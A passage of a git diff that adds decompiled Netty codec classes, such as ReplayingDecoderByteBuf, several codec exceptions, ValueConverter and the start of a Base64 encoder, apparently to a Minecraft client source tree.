+  private void checkReadableBytes(int readableBytes) {
+    if (buffer.readableBytes() < readableBytes) {
+      throw REPLAY;
+    }
+  }
+  
+  public ByteBuf discardSomeReadBytes()
+  {
+    reject();
+    return this;
+  }
+  
+  public int refCnt()
+  {
+    return buffer.refCnt();
+  }
+  
+  public ByteBuf retain()
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf retain(int increment)
+  {
+    reject();
+    return this;
+  }
+  
+  public boolean release()
+  {
+    reject();
+    return false;
+  }
+  
+  public boolean release(int decrement)
+  {
+    reject();
+    return false;
+  }
+  
+  public ByteBuf unwrap()
+  {
+    reject();
+    return this;
+  }
+  
+  private static void reject() {
+    throw new UnsupportedOperationException("not a replayable operation");
+  }
+  
+  ReplayingDecoderBuffer() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/ReplayingDecoderByteBuf.java b/src/minecraft/io/netty/handler/codec/ReplayingDecoderByteBuf.java
new file mode 100644
index 0000000..7fccda0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/ReplayingDecoderByteBuf.java
@@ -0,0 +1,1150 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.SwappedByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.ByteProcessor;
+import io.netty.util.Signal;
+import io.netty.util.internal.StringUtil;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.FileChannel;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ReplayingDecoderByteBuf
+  extends ByteBuf
+{
+  private static final Signal REPLAY = ReplayingDecoder.REPLAY;
+  
+  private ByteBuf buffer;
+  
+  private boolean terminated;
+  private SwappedByteBuf swapped;
+  static final ReplayingDecoderByteBuf EMPTY_BUFFER = new ReplayingDecoderByteBuf(Unpooled.EMPTY_BUFFER);
+  
+  static {
+    EMPTY_BUFFER.terminate();
+  }
+  
+
+  ReplayingDecoderByteBuf(ByteBuf buffer)
+  {
+    setCumulation(buffer);
+  }
+  
+  void setCumulation(ByteBuf buffer) {
+    this.buffer = buffer;
+  }
+  
+  void terminate() {
+    terminated = true;
+  }
+  
+  public int capacity()
+  {
+    if (terminated) {
+      return buffer.capacity();
+    }
+    return Integer.MAX_VALUE;
+  }
+  
+
+  public ByteBuf capacity(int newCapacity)
+  {
+    throw reject();
+  }
+  
+  public int maxCapacity()
+  {
+    return capacity();
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return buffer.alloc();
+  }
+  
+  public boolean isReadOnly()
+  {
+    return false;
+  }
+  
+
+  public ByteBuf asReadOnly()
+  {
+    return Unpooled.unmodifiableBuffer(this);
+  }
+  
+  public boolean isDirect()
+  {
+    return buffer.isDirect();
+  }
+  
+  public boolean hasArray()
+  {
+    return false;
+  }
+  
+  public byte[] array()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public int arrayOffset()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public ByteBuf clear()
+  {
+    throw reject();
+  }
+  
+  public boolean equals(Object obj)
+  {
+    return this == obj;
+  }
+  
+  public int compareTo(ByteBuf buffer)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf copy()
+  {
+    throw reject();
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.copy(index, length);
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    throw reject();
+  }
+  
+  public ByteBuf ensureWritable(int writableBytes)
+  {
+    throw reject();
+  }
+  
+  public int ensureWritable(int minWritableBytes, boolean force)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf duplicate()
+  {
+    throw reject();
+  }
+  
+  public ByteBuf retainedDuplicate()
+  {
+    throw reject();
+  }
+  
+  public boolean getBoolean(int index)
+  {
+    checkIndex(index, 1);
+    return buffer.getBoolean(index);
+  }
+  
+  public byte getByte(int index)
+  {
+    checkIndex(index, 1);
+    return buffer.getByte(index);
+  }
+  
+  public short getUnsignedByte(int index)
+  {
+    checkIndex(index, 1);
+    return buffer.getUnsignedByte(index);
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    buffer.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst)
+  {
+    checkIndex(index, dst.length);
+    buffer.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    buffer.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst)
+  {
+    throw reject();
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length)
+  {
+    throw reject();
+  }
+  
+  public int getBytes(int index, FileChannel out, long position, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length)
+  {
+    throw reject();
+  }
+  
+  public int getInt(int index)
+  {
+    checkIndex(index, 4);
+    return buffer.getInt(index);
+  }
+  
+  public int getIntLE(int index)
+  {
+    checkIndex(index, 4);
+    return buffer.getIntLE(index);
+  }
+  
+  public long getUnsignedInt(int index)
+  {
+    checkIndex(index, 4);
+    return buffer.getUnsignedInt(index);
+  }
+  
+  public long getUnsignedIntLE(int index)
+  {
+    checkIndex(index, 4);
+    return buffer.getUnsignedIntLE(index);
+  }
+  
+  public long getLong(int index)
+  {
+    checkIndex(index, 8);
+    return buffer.getLong(index);
+  }
+  
+  public long getLongLE(int index)
+  {
+    checkIndex(index, 8);
+    return buffer.getLongLE(index);
+  }
+  
+  public int getMedium(int index)
+  {
+    checkIndex(index, 3);
+    return buffer.getMedium(index);
+  }
+  
+  public int getMediumLE(int index)
+  {
+    checkIndex(index, 3);
+    return buffer.getMediumLE(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    checkIndex(index, 3);
+    return buffer.getUnsignedMedium(index);
+  }
+  
+  public int getUnsignedMediumLE(int index)
+  {
+    checkIndex(index, 3);
+    return buffer.getUnsignedMediumLE(index);
+  }
+  
+  public short getShort(int index)
+  {
+    checkIndex(index, 2);
+    return buffer.getShort(index);
+  }
+  
+  public short getShortLE(int index)
+  {
+    checkIndex(index, 2);
+    return buffer.getShortLE(index);
+  }
+  
+  public int getUnsignedShort(int index)
+  {
+    checkIndex(index, 2);
+    return buffer.getUnsignedShort(index);
+  }
+  
+  public int getUnsignedShortLE(int index)
+  {
+    checkIndex(index, 2);
+    return buffer.getUnsignedShortLE(index);
+  }
+  
+  public char getChar(int index)
+  {
+    checkIndex(index, 2);
+    return buffer.getChar(index);
+  }
+  
+  public float getFloat(int index)
+  {
+    checkIndex(index, 4);
+    return buffer.getFloat(index);
+  }
+  
+  public double getDouble(int index)
+  {
+    checkIndex(index, 8);
+    return buffer.getDouble(index);
+  }
+  
+  public CharSequence getCharSequence(int index, int length, Charset charset)
+  {
+    checkIndex(index, length);
+    return buffer.getCharSequence(index, length, charset);
+  }
+  
+  public int hashCode()
+  {
+    throw reject();
+  }
+  
+  public int indexOf(int fromIndex, int toIndex, byte value)
+  {
+    if (fromIndex == toIndex) {
+      return -1;
+    }
+    
+    if (Math.max(fromIndex, toIndex) > buffer.writerIndex()) {
+      throw REPLAY;
+    }
+    
+    return buffer.indexOf(fromIndex, toIndex, value);
+  }
+  
+  public int bytesBefore(byte value)
+  {
+    int bytes = buffer.bytesBefore(value);
+    if (bytes < 0) {
+      throw REPLAY;
+    }
+    return bytes;
+  }
+  
+  public int bytesBefore(int length, byte value)
+  {
+    return bytesBefore(buffer.readerIndex(), length, value);
+  }
+  
+  public int bytesBefore(int index, int length, byte value)
+  {
+    int writerIndex = buffer.writerIndex();
+    if (index >= writerIndex) {
+      throw REPLAY;
+    }
+    
+    if (index <= writerIndex - length) {
+      return buffer.bytesBefore(index, length, value);
+    }
+    
+    int res = buffer.bytesBefore(index, writerIndex - index, value);
+    if (res < 0) {
+      throw REPLAY;
+    }
+    return res;
+  }
+  
+
+  public int forEachByte(ByteProcessor processor)
+  {
+    int ret = buffer.forEachByte(processor);
+    if (ret < 0) {
+      throw REPLAY;
+    }
+    return ret;
+  }
+  
+
+  public int forEachByte(int index, int length, ByteProcessor processor)
+  {
+    int writerIndex = buffer.writerIndex();
+    if (index >= writerIndex) {
+      throw REPLAY;
+    }
+    
+    if (index <= writerIndex - length) {
+      return buffer.forEachByte(index, length, processor);
+    }
+    
+    int ret = buffer.forEachByte(index, writerIndex - index, processor);
+    if (ret < 0) {
+      throw REPLAY;
+    }
+    return ret;
+  }
+  
+
+  public int forEachByteDesc(ByteProcessor processor)
+  {
+    if (terminated) {
+      return buffer.forEachByteDesc(processor);
+    }
+    throw reject();
+  }
+  
+
+  public int forEachByteDesc(int index, int length, ByteProcessor processor)
+  {
+    if (index + length > buffer.writerIndex()) {
+      throw REPLAY;
+    }
+    
+    return buffer.forEachByteDesc(index, length, processor);
+  }
+  
+  public ByteBuf markReaderIndex()
+  {
+    buffer.markReaderIndex();
+    return this;
+  }
+  
+  public ByteBuf markWriterIndex()
+  {
+    throw reject();
+  }
+  
+  public ByteOrder order()
+  {
+    return buffer.order();
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    if (endianness == null) {
+      throw new NullPointerException("endianness");
+    }
+    if (endianness == order()) {
+      return this;
+    }
+    
+    SwappedByteBuf swapped = this.swapped;
+    if (swapped == null) {
+      this.swapped = (swapped = new SwappedByteBuf(this));
+    }
+    return swapped;
+  }
+  
+  public boolean isReadable()
+  {
+    return terminated ? buffer.isReadable() : true;
+  }
+  
+  public boolean isReadable(int size)
+  {
+    return terminated ? buffer.isReadable(size) : true;
+  }
+  
+  public int readableBytes()
+  {
+    if (terminated) {
+      return buffer.readableBytes();
+    }
+    return Integer.MAX_VALUE - buffer.readerIndex();
+  }
+  
+
+  public boolean readBoolean()
+  {
+    checkReadableBytes(1);
+    return buffer.readBoolean();
+  }
+  
+  public byte readByte()
+  {
+    checkReadableBytes(1);
+    return buffer.readByte();
+  }
+  
+  public short readUnsignedByte()
+  {
+    checkReadableBytes(1);
+    return buffer.readUnsignedByte();
+  }
+  
+  public ByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    checkReadableBytes(length);
+    buffer.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(byte[] dst)
+  {
+    checkReadableBytes(dst.length);
+    buffer.readBytes(dst);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    checkReadableBytes(length);
+    buffer.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst)
+  {
+    checkReadableBytes(dst.writableBytes());
+    buffer.readBytes(dst);
+    return this;
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length)
+  {
+    throw reject();
+  }
+  
+  public int readBytes(FileChannel out, long position, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf readBytes(int length)
+  {
+    checkReadableBytes(length);
+    return buffer.readBytes(length);
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    checkReadableBytes(length);
+    return buffer.readSlice(length);
+  }
+  
+  public ByteBuf readRetainedSlice(int length)
+  {
+    checkReadableBytes(length);
+    return buffer.readRetainedSlice(length);
+  }
+  
+  public ByteBuf readBytes(OutputStream out, int length)
+  {
+    throw reject();
+  }
+  
+  public int readerIndex()
+  {
+    return buffer.readerIndex();
+  }
+  
+  public ByteBuf readerIndex(int readerIndex)
+  {
+    buffer.readerIndex(readerIndex);
+    return this;
+  }
+  
+  public int readInt()
+  {
+    checkReadableBytes(4);
+    return buffer.readInt();
+  }
+  
+  public int readIntLE()
+  {
+    checkReadableBytes(4);
+    return buffer.readIntLE();
+  }
+  
+  public long readUnsignedInt()
+  {
+    checkReadableBytes(4);
+    return buffer.readUnsignedInt();
+  }
+  
+  public long readUnsignedIntLE()
+  {
+    checkReadableBytes(4);
+    return buffer.readUnsignedIntLE();
+  }
+  
+  public long readLong()
+  {
+    checkReadableBytes(8);
+    return buffer.readLong();
+  }
+  
+  public long readLongLE()
+  {
+    checkReadableBytes(8);
+    return buffer.readLongLE();
+  }
+  
+  public int readMedium()
+  {
+    checkReadableBytes(3);
+    return buffer.readMedium();
+  }
+  
+  public int readMediumLE()
+  {
+    checkReadableBytes(3);
+    return buffer.readMediumLE();
+  }
+  
+  public int readUnsignedMedium()
+  {
+    checkReadableBytes(3);
+    return buffer.readUnsignedMedium();
+  }
+  
+  public int readUnsignedMediumLE()
+  {
+    checkReadableBytes(3);
+    return buffer.readUnsignedMediumLE();
+  }
+  
+  public short readShort()
+  {
+    checkReadableBytes(2);
+    return buffer.readShort();
+  }
+  
+  public short readShortLE()
+  {
+    checkReadableBytes(2);
+    return buffer.readShortLE();
+  }
+  
+  public int readUnsignedShort()
+  {
+    checkReadableBytes(2);
+    return buffer.readUnsignedShort();
+  }
+  
+  public int readUnsignedShortLE()
+  {
+    checkReadableBytes(2);
+    return buffer.readUnsignedShortLE();
+  }
+  
+  public char readChar()
+  {
+    checkReadableBytes(2);
+    return buffer.readChar();
+  }
+  
+  public float readFloat()
+  {
+    checkReadableBytes(4);
+    return buffer.readFloat();
+  }
+  
+  public double readDouble()
+  {
+    checkReadableBytes(8);
+    return buffer.readDouble();
+  }
+  
+  public CharSequence readCharSequence(int length, Charset charset)
+  {
+    checkReadableBytes(length);
+    return buffer.readCharSequence(length, charset);
+  }
+  
+  public ByteBuf resetReaderIndex()
+  {
+    buffer.resetReaderIndex();
+    return this;
+  }
+  
+  public ByteBuf resetWriterIndex()
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setBoolean(int index, boolean value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src)
+  {
+    throw reject();
+  }
+  
+  public int setBytes(int index, InputStream in, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setZero(int index, int length)
+  {
+    throw reject();
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length)
+  {
+    throw reject();
+  }
+  
+  public int setBytes(int index, FileChannel in, long position, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setIndex(int readerIndex, int writerIndex)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setIntLE(int index, int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setLongLE(int index, long value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setMediumLE(int index, int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setShortLE(int index, int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setChar(int index, int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setFloat(int index, float value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf setDouble(int index, double value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf skipBytes(int length)
+  {
+    checkReadableBytes(length);
+    buffer.skipBytes(length);
+    return this;
+  }
+  
+  public ByteBuf slice()
+  {
+    throw reject();
+  }
+  
+  public ByteBuf retainedSlice()
+  {
+    throw reject();
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.slice(index, length);
+  }
+  
+  public ByteBuf retainedSlice(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.slice(index, length);
+  }
+  
+  public int nioBufferCount()
+  {
+    return buffer.nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    throw reject();
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.nioBuffer(index, length);
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    throw reject();
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.nioBuffers(index, length);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.internalNioBuffer(index, length);
+  }
+  
+  public String toString(int index, int length, Charset charset)
+  {
+    checkIndex(index, length);
+    return buffer.toString(index, length, charset);
+  }
+  
+  public String toString(Charset charsetName)
+  {
+    throw reject();
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '(' + "ridx=" + readerIndex() + ", " + "widx=" + writerIndex() + ')';
+  }
+  
+
+
+
+
+
+
+  public boolean isWritable()
+  {
+    return false;
+  }
+  
+  public boolean isWritable(int size)
+  {
+    return false;
+  }
+  
+  public int writableBytes()
+  {
+    return 0;
+  }
+  
+  public int maxWritableBytes()
+  {
+    return 0;
+  }
+  
+  public ByteBuf writeBoolean(boolean value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeByte(int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeBytes(byte[] src)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeBytes(ByteBuffer src)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src)
+  {
+    throw reject();
+  }
+  
+  public int writeBytes(InputStream in, int length)
+  {
+    throw reject();
+  }
+  
+  public int writeBytes(ScatteringByteChannel in, int length)
+  {
+    throw reject();
+  }
+  
+  public int writeBytes(FileChannel in, long position, int length)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeInt(int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeIntLE(int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeLong(long value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeLongLE(long value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeMedium(int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeMediumLE(int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeZero(int length)
+  {
+    throw reject();
+  }
+  
+  public int writerIndex()
+  {
+    return buffer.writerIndex();
+  }
+  
+  public ByteBuf writerIndex(int writerIndex)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeShort(int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeShortLE(int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeChar(int value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeFloat(float value)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf writeDouble(double value)
+  {
+    throw reject();
+  }
+  
+  public int setCharSequence(int index, CharSequence sequence, Charset charset)
+  {
+    throw reject();
+  }
+  
+  public int writeCharSequence(CharSequence sequence, Charset charset)
+  {
+    throw reject();
+  }
+  
+  private void checkIndex(int index, int length) {
+    if (index + length > buffer.writerIndex()) {
+      throw REPLAY;
+    }
+  }
+  
+  private void checkReadableBytes(int readableBytes) {
+    if (buffer.readableBytes() < readableBytes) {
+      throw REPLAY;
+    }
+  }
+  
+  public ByteBuf discardSomeReadBytes()
+  {
+    throw reject();
+  }
+  
+  public int refCnt()
+  {
+    return buffer.refCnt();
+  }
+  
+  public ByteBuf retain()
+  {
+    throw reject();
+  }
+  
+  public ByteBuf retain(int increment)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf touch()
+  {
+    buffer.touch();
+    return this;
+  }
+  
+  public ByteBuf touch(Object hint)
+  {
+    buffer.touch(hint);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    throw reject();
+  }
+  
+  public boolean release(int decrement)
+  {
+    throw reject();
+  }
+  
+  public ByteBuf unwrap()
+  {
+    throw reject();
+  }
+  
+  private static UnsupportedOperationException reject() {
+    return new UnsupportedOperationException("not a replayable operation");
+  }
+  
+  ReplayingDecoderByteBuf() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/TooLongFrameException.java b/src/minecraft/io/netty/handler/codec/TooLongFrameException.java
new file mode 100644
index 0000000..65ae3a2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/TooLongFrameException.java
@@ -0,0 +1,52 @@
+package io.netty.handler.codec;
+
+
+
+
+
+
+
+
+
+public class TooLongFrameException
+  extends DecoderException
+{
+  private static final long serialVersionUID = -1995801950698951640L;
+  
+
+
+
+
+
+
+
+
+  public TooLongFrameException() {}
+  
+
+
+
+
+
+
+
+
+  public TooLongFrameException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public TooLongFrameException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public TooLongFrameException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/UnsupportedMessageTypeException.java b/src/minecraft/io/netty/handler/codec/UnsupportedMessageTypeException.java
new file mode 100644
index 0000000..37e9dc3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/UnsupportedMessageTypeException.java
@@ -0,0 +1,63 @@
+package io.netty.handler.codec;
+
+
+
+
+
+
+
+
+
+
+public class UnsupportedMessageTypeException
+  extends CodecException
+{
+  private static final long serialVersionUID = 2799598826487038726L;
+  
+
+
+
+
+
+
+
+
+  public UnsupportedMessageTypeException(Object message, Class<?>... expectedTypes)
+  {
+    super(message(message == null ? "null" : message.getClass().getName(), expectedTypes));
+  }
+  
+  public UnsupportedMessageTypeException() {}
+  
+  public UnsupportedMessageTypeException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+  public UnsupportedMessageTypeException(String s) {
+    super(s);
+  }
+  
+  public UnsupportedMessageTypeException(Throwable cause) {
+    super(cause);
+  }
+  
+  private static String message(String actualType, Class<?>... expectedTypes)
+  {
+    StringBuilder buf = new StringBuilder(actualType);
+    
+    if ((expectedTypes != null) && (expectedTypes.length > 0)) {
+      buf.append(" (expected: ").append(expectedTypes[0].getName());
+      for (int i = 1; i < expectedTypes.length; i++) {
+        Class<?> t = expectedTypes[i];
+        if (t == null) {
+          break;
+        }
+        buf.append(", ").append(t.getName());
+      }
+      buf.append(')');
+    }
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/UnsupportedValueConverter.java b/src/minecraft/io/netty/handler/codec/UnsupportedValueConverter.java
new file mode 100644
index 0000000..594ca95
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/UnsupportedValueConverter.java
@@ -0,0 +1,125 @@
+package io.netty.handler.codec;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnsupportedValueConverter<V>
+  implements ValueConverter<V>
+{
+  private static final UnsupportedValueConverter INSTANCE = new UnsupportedValueConverter();
+  
+  private UnsupportedValueConverter() {}
+  
+  public static <V> UnsupportedValueConverter<V> instance() {
+    return INSTANCE;
+  }
+  
+  public V convertObject(Object value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V convertBoolean(boolean value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean convertToBoolean(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V convertByte(byte value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public byte convertToByte(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V convertChar(char value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public char convertToChar(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V convertShort(short value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public short convertToShort(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V convertInt(int value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public int convertToInt(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V convertLong(long value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public long convertToLong(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V convertTimeMillis(long value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public long convertToTimeMillis(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V convertFloat(float value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public float convertToFloat(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V convertDouble(double value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public double convertToDouble(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/ValueConverter.java b/src/minecraft/io/netty/handler/codec/ValueConverter.java
new file mode 100644
index 0000000..6bc5f39
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/ValueConverter.java
@@ -0,0 +1,42 @@
+package io.netty.handler.codec;
+
+public abstract interface ValueConverter<T>
+{
+  public abstract T convertObject(Object paramObject);
+  
+  public abstract T convertBoolean(boolean paramBoolean);
+  
+  public abstract boolean convertToBoolean(T paramT);
+  
+  public abstract T convertByte(byte paramByte);
+  
+  public abstract byte convertToByte(T paramT);
+  
+  public abstract T convertChar(char paramChar);
+  
+  public abstract char convertToChar(T paramT);
+  
+  public abstract T convertShort(short paramShort);
+  
+  public abstract short convertToShort(T paramT);
+  
+  public abstract T convertInt(int paramInt);
+  
+  public abstract int convertToInt(T paramT);
+  
+  public abstract T convertLong(long paramLong);
+  
+  public abstract long convertToLong(T paramT);
+  
+  public abstract T convertTimeMillis(long paramLong);
+  
+  public abstract long convertToTimeMillis(T paramT);
+  
+  public abstract T convertFloat(float paramFloat);
+  
+  public abstract float convertToFloat(T paramT);
+  
+  public abstract T convertDouble(double paramDouble);
+  
+  public abstract double convertToDouble(T paramT);
+}
diff --git a/src/minecraft/io/netty/handler/codec/base64/Base64.java b/src/minecraft/io/netty/handler/codec/base64/Base64.java
new file mode 100644
index 0000000..27a73e2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/base64/Base64.java
@@ -0,0 +1,309 @@
+package io.netty.handler.codec.base64;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Base64
+{
+  private static final int MAX_LINE_LENGTH = 76;
+  private static final byte EQUALS_SIGN = 61;
+  private static final byte NEW_LINE = 10;
+  private static final byte WHITE_SPACE_ENC = -5;
+  private static final byte EQUALS_SIGN_ENC = -1;
+  
+  private static byte[] alphabet(Base64Dialect dialect)
+  {
+    if (dialect == null) {
+      throw new NullPointerException("dialect");
+    }
+    return alphabet;
+  }
+  
+  private static byte[] decodabet(Base64Dialect dialect) {
+    if (dialect == null) {
+      throw new NullPointerException("dialect");
+    }
+    return decodabet;
+  }
+  
+  private static boolean breakLines(Base64Dialect dialect) {
+    if (dialect == null) {
+      throw new NullPointerException("dialect");
+    }
+    return breakLinesByDefault;
+  }
+  
+  public static ByteBuf encode(ByteBuf src) {
+    return encode(src, Base64Dialect.STANDARD);
+  }
+  
+  public static ByteBuf encode(ByteBuf src, Base64Dialect dialect) {
+    return encode(src, breakLines(dialect), dialect);
+  }
+  
+  public static ByteBuf encode(ByteBuf src, boolean breakLines) {
+    return encode(src, breakLines, Base64Dialect.STANDARD);
+  }
+  
+  public static ByteBuf encode(ByteBuf src, boolean breakLines, Base64Dialect dialect)
+  {
+    if (src == null) {
+      throw new NullPointerException("src");
+    }
+    
+    ByteBuf dest = encode(src, src.readerIndex(), src.readableBytes(), breakLines, dialect);
+    src.readerIndex(src.writerIndex());
+    return dest;
+  }
+  
+  public static ByteBuf encode(ByteBuf src, int off, int len) {
+    return encode(src, off, len, Base64Dialect.STANDARD);
+  }
+  
+  public static ByteBuf encode(ByteBuf src, int off, int len, Base64Dialect dialect) {
+    return encode(src, off, len, breakLines(dialect), dialect);
+  }
+  
+  public static ByteBuf encode(ByteBuf src, int off, int len, boolean breakLines)
+  {
+    return encode(src, off, len, breakLines, Base64Dialect.STANDARD);
+  }
+  
+
+  public static ByteBuf encode(ByteBuf src, int off, int len, boolean breakLines, Base64Dialect dialect)
+  {
+    if (src == null) {
